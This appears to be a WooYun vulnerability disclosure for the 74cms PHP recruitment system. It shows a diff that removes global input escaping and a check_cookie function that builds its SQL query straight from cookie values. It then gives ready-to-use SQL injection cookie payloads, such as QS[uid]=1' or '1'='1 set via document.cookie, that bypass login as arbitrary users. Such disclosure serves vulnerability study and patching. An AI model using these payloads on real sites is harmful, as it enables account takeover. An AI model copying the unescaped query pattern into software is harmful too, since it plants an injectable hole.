WooYun.org

include/common.inc.php

@@ -17,20 +17,10 @@ session_save_path(QISHI_ROOT_PATH.'data/sessions/');
 session_start();\r
 require_once(QISHI_ROOT_PATH.'data/config.php');\r
 header("Content-Type:text/html;charset=".QISHI_CHARSET);\r
+require_once(QISHI_ROOT_PATH.'include/help.class.php');\r
 require_once(QISHI_ROOT_PATH.'include/common.fun.php');\r
 require_once(QISHI_ROOT_PATH.'include/74cms_version.php');\r
 $QSstarttime=exectime();\r
-\r
-if (!empty($_GET))\r
-{\r
-$_GET  = addslashes_deep($_GET);\r
-}\r
-if (!empty($_POST))\r
-{\r
-$_POST = addslashes_deep($_POST);\r
-}\r
-$_COOKIE   = addslashes_deep($_COOKIE);\r
-$_REQUEST  = addslashes_deep($_REQUEST);\r
 date_default_timezone_set("PRC");\r
 $timestamp = time();\r
 $online_ip=getip();\r

12  define('IN_QISHI', true);
  13  require_once(dirname(__FILE__).'/../include/common.inc.php');
  14  $act = isset($_REQUEST['act']) ? trim($_REQUEST['act']) : 'add';
  15  require_once (QISHI_ROOT_PATH.'include/mysql.class.php');
  16  $db = new mysql($dbhost,$dbuser,$dbpass,$dbname);
  17  if((empty($_SESSION['uid']) || empty($_SESSION['username']) || empty($_SESSION['utype'])) &&  $_COOKIE['QS']['username'] && $_COOKIE['QS']['password'] && $_COOKIE['QS']['uid'])
  18  {
  19      require_once (QISHI_ROOT_PATH.'include/fun_user.php');
  20      if(check_cookie($_COOKIE['QS']['uid'],$_COOKIE['QS']['username'],$_COOKIE['QS']['password']))
  21      {
  22      update_user_info($_COOKIE['QS']['uid'],false,false);
  23      header("Location:".get_member_url($_SESSION['utype']));
  24      }
  25      else
  26      {
...snip...
  32      }
  33  }

223  function check_cookie($uid,$name,$pwd){
 224       global $db;
 225       $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('members')." WHERE uid='{$uid}' and username='{$name}' and password = '{$pwd}'");
 226       if($row['num'] > 0)
 227      {
 228       return true;
 229       }else{
 230       return false;
 231       }
 232   }

QS[uid]=1' or '1'='1
QS[username]=testadmin
QS[password]=aa

document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=1' or '1'='1";

document.cookie="QS[username]=test";
document.cookie="QS[password]=aa";
document.cookie="QS[uid]=2' or '1'='1";